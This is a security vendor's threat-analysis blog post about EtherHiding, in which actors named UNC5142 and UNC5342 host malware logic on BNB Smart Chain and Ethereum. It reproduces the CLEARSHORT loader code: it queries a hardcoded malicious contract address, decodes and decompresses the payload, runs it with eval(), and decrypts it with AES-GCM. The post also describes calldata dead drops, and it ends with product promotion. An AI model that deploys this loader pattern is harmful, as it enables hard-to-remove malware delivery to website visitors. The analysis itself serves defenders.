EtherHiding: How Web3 Infrastructure Enables Stealthy Malware Distribution

Written by Picus Labs | Dec 4, 2025 8:00:00 AM

The cybersecurity landscape is currently witnessing a fundamental architectural shift in the deployment of malicious infrastructure, a transition as significant as the migration from static binaries to polymorphic code. This evolution is characterized by the abandonment of traditional, centralized Command and Control (C2) servers in favor of decentralized, immutable architectures hosted on public blockchains. This methodology, now codified in threat intelligence lexicons as EtherHiding, represents the weaponization of Web3 technology. It leverages the censorship-resistant nature of public ledgers, specifically the BNB Smart Chain (BSC) and Ethereum, to conceal malicious code, distribute payloads, and manage attack logic beyond the reach of conventional law enforcement and takedown mechanisms.

Recent, exhaustive analysis by multiple threat intelligence entities has identified two primary, distinct threat clusters utilizing this methodology: UNC5142, a financially motivated actor [1], and UNC5342, a state-sponsored group attributed to the Democratic People's Republic of Korea (DPRK) [2]. While their end goals diverge, their convergence on EtherHiding signals a maturation of blockchain-based threats.

The significance of this shift cannot be overstated. Traditional defensive strategies rely heavily on the identification and neutralization of malicious domains and IP addresses. When a threat actor utilizes a domain generation algorithm (DGA) or a bulletproof host, defenders can block the resolution or pressure the hosting provider to sever the connection. EtherHiding fundamentally breaks this remediation model. The "server" is the blockchain itself, a distributed network of thousands of nodes, none of which can be unilaterally commanded to delete a specific block or smart contract. Once malicious code is committed to the chain, it possesses a level of permanence and availability that traditional hosting cannot offer.

This blog provides an exhaustive technical dissection of the EtherHiding phenomenon. It explores the theoretical underpinnings of blockchain-based C2 and dissects the operational mechanics of the UNC5142 and UNC5342 campaigns.

Key Takeaways

EtherHiding replaces traditional centralized C2 servers with decentralized, immutable blockchain infrastructure, making takedowns significantly more difficult.
UNC5142 uses a three-tier contract architecture on BNB Smart Chain that allows dynamic payload updates without re-infecting compromised sites.
CLEARSHORT retrieves malicious content recursively through anchor, router, and payload contracts, using compressed and later AES-encrypted data stored on the chain.
Payloads are decrypted in the browser using AES GCM and executed after decompression, enabling stealthy delivery through legitimate Web3 libraries.
UNC5342 differs by using transaction history as a Dead Drop Resolver, embedding payloads in calldata rather than contract storage.
Updating malicious instructions requires only broadcasting a new transaction, turning the blockchain into a persistent and censorship-resistant command queue.

How Does CLEARSHORT Use EtherHiding?

UNC5142 has been identified as a financially motivated threat actor leveraging blockchain technology to facilitate the distribution of information stealers. Unlike traditional command-and-control (C2) infrastructures, this campaign utilizes the Binance Smart Chain (BNB) and decentralized storage methods to mask malicious payloads. The technical backbone of this operation is CLEARSHORT, a multistage JavaScript downloader designed to bridge compromised browsers with the blockchain.

The CLEARSHORT Infection Chain

Upon infecting a WordPress site, the initial script executes a logic flow designed to prepare the environment for blockchain interaction without hosting malicious libraries locally.

Firstly, script tags are appended to the DOM to load necessary libraries from legitimate Content Delivery Networks (CDNs) such as jsdelivr or cdnjs. These libraries include:

web3.min.js (Blockchain interaction)
pako.min.js (Zlib decompression)
crypto-js.min.js (AES decryption)

Then, a Web3 provider instance is initialized, pointing to a public Remote Procedure Call (RPC) node [1]. Traffic generated by this connection blends with legitimate developer requests.

const web3 = new Web3('https://bsc-dataseed.binance.org/');

The campaign has evolved from single-contract deployments to a robust, three-tier hierarchical architecture:

Level 1 is the Anchor Contract. Serving as the static entry point, this contract's address is hardcoded into the injected JavaScript found on compromised websites. It acts as a static reference that stores the Application Binary Interface (ABI) and the address of the Level 2 contract. The primary operational benefit is that attackers avoid the need to re-infect websites when updating their infrastructure by keeping this specific address constant.
Level 2 is the Router Contract. This contract functions as an abstraction layer or switchboard that acts as a pointer between the anchor and the payload. It holds the ABI and address of the Level 3 contract. Its operational benefit is significant; if a Level 3 payload is flagged, the pointer in this Level 2 contract is simply updated to a new contract, which leaves Level 1 and the compromised sites untouched.
Level 3 is the Payload Contract. Acting as the storage warehouse, this contract holds the active malicious components, including the encrypted HTML/JavaScript content and the AES decryption key.

Following initialization, the script instantiates a contract object using a hardcoded address corresponding to the "Level 1" anchor contract [1].

const contract = new web3.eth.Contract(
[
{
inputs: [],
stateMutability: "nonpayable",
type: "constructor",
},
{
inputs: [],
name: "orchidABI", // Returns 2nd contract ABI
outputs: [
{
internalType: "string",
name: "",
type: "string",
},
],
stateMutability: "view",
type: "function",
},
{
inputs: [],
name: "orchidAddress", // Returns 2nd contract address
outputs: [
{
internalType: "string",
name: "",
type: "string",
},
],
stateMutability: "view",
type: "function",
},
],
"0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53"
); // Hardcoded address of the 1st-Level Contract.

The retrieval process is recursive. The script queries the contract methods, specifically orchidABI() and orchidAddress(), iteratively until the Level 3 contract is reached.

// ABI is Base64 decoded and then decompressed to get clean ABI.
const orchidABI = JSON.parse(
pako.ungzip(
Uint8Array.from(atob(await contract.methods.orchidABI().call()), (c) =>
c.charCodeAt(0)
),
{
to: "string",
}
)
);
// Calls the 'orchidAddress' function to get the address of the 2nd-Level Contract.
const orchidAddress = await contract.methods.orchidAddress().call();
// New contract object created to represent 2nd-level contract.
const orchid = new web3.eth.Contract(orchidABI, orchidAddress);

Data retrieved from the blockchain is typically Base64 encoded and Gzip compressed to minimize gas fees and obfuscate content. The payload is processed using the loaded pako library [1].

const decompressedScript = pako.ungzip(Uint8Array.from(atob(encodedData), c => c.charCodeAt(0)), { to: 'string' });

The resulting string is subsequently executed via eval(), rendering a fake update overlay in the victim's browser.

eval(`(async () => { ${decompressedScript} })().then(() => { console.log('Moved.'); }).catch(console.error);`);

However, a shift in this methodology occurred in December 2024, when UNC5142 updated the CLEARSHORT landing page to implement AES encryption, replacing the simple Base64-encoded payloads used previously. Below is the simplified decryption code [1]:

// Simplified example of the decryption logic
async function decryptScrollToText(encryptedBase64, keyBase64) {
const key = Uint8Array.from(atob(keyBase64), c => c.charCodeAt(0));
const combinedData = Uint8Array.from(atob(encryptedBase64), c => c.charCodeAt(0));
const iv = combinedData.slice(0, 12); // IV is the first 12 bytes
const encryptedData = combinedData.slice(12);
const cryptoKey = await crypto.subtle.importKey(
"raw", key, "AES-GCM", false, ["decrypt"]
);
const decryptedArrayBuffer = await crypto.subtle.decrypt(
{ name: "AES-GCM", iv },
cryptoKey,
encryptedData
);
return new TextDecoder().decode(decryptedArrayBuffer);
}

// ... (Code to fetch encrypted HTML and key from the third-level contract) ...

if (cherryBlossomHTML) { // cherryBlossomHTML contains the encrypted landing page
try {
let sakuraKey = await JadeContract.methods.pearlTower().call(); // Get the AES key
const decryptedHTML = await decryptScrollToText(cherryBlossomHTML, sakuraKey);
// ... (Display the decrypted HTML in an iframe) ...
} catch (error) {
return;
}
}

How Does UNC5342 Differ from UNC5142 in EtherHiding?

While UNC5142 relies on contract storage, UNC5342 employs a distinct variation of EtherHiding by utilizing Transaction History as a Dead Drop Resolver (DDR) [2].

Operational Mechanism

Broadcasting: A transaction is sent from an attacker-controlled wallet to a "Burn Address" (e.g., 0x00...dEaD). Funds are lost, but the data persists.
Embedding: The malicious payload or C2 configuration is embedded directly into the calldata (Input Data) of the transaction.
Retrieving: The malware parses the transaction history of the attacker's address rather than querying a contract state. It identifies the most recent outgoing transaction and extracts the instructions.

This method effectively transforms the blockchain transaction list into a dynamic, unblockable command queue. To update the payload, the attacker simply broadcasts a new transaction, which the malware automatically retrieves.

How Does Picus Simulate the Etherhiding Method?

Many APT groups employ techniques like EtherHiding to hide malicious payloads within blockchain transactions, making it difficult for traditional security systems to detect or respond effectively. That’s why we strongly recommend simulating APT attacks that leverage such methods to test the effectiveness of your security controls against real-life cyber attacks using the Picus Security Validation Platform. You can also test your defenses against hundreds of other threat groups within minutes with a 14-day free trial of the Picus Platform.

Picus Threat Library includes the following threats for the groups that utilize the Etherhiding method:

Threat ID	Threat Name	Attack Module
31743	Contagious Interview Campaign Malware Download Threat	Network Infiltration
54651	Contagious Interview Campaign Malware Email Threat	E-mail Infiltration
36623	JADESNOW Malware Downloader Download Threat	Network Infiltration
84022	JADESNOW Malware Downloader Email Threat	E-mail Infiltration
66686	JADESNOW Malware Dropper Download Threat	Network Infiltration
61428	UNC5342 Threat Group Campaign Malware Download Threat	Network Infiltration
73770	UNC5342 Threat Group Campaign Malware Email Threat	E-mail Infiltration

Start simulating emerging threats today and get actionable mitigation insights with a 14-day free trial of the Picus Security Validation Platform.

References

[1] “New Group on the Block: UNC5142 Leverages EtherHiding to Distribute Malware,” Google Cloud Blog. Accessed: Nov. 21, 2025. [Online]. Available: https://cloud.google.com/blog/topics/threat-intelligence/unc5142-etherhiding-distribute-malware

[2] “DPRK Adopts EtherHiding: Nation-State Malware Hiding on Blockchains,” Google Cloud Blog. Accessed: Nov. 21, 2025. [Online]. Available: https://cloud.google.com/blog/topics/threat-intelligence/dprk-adopts-etherhiding

View full post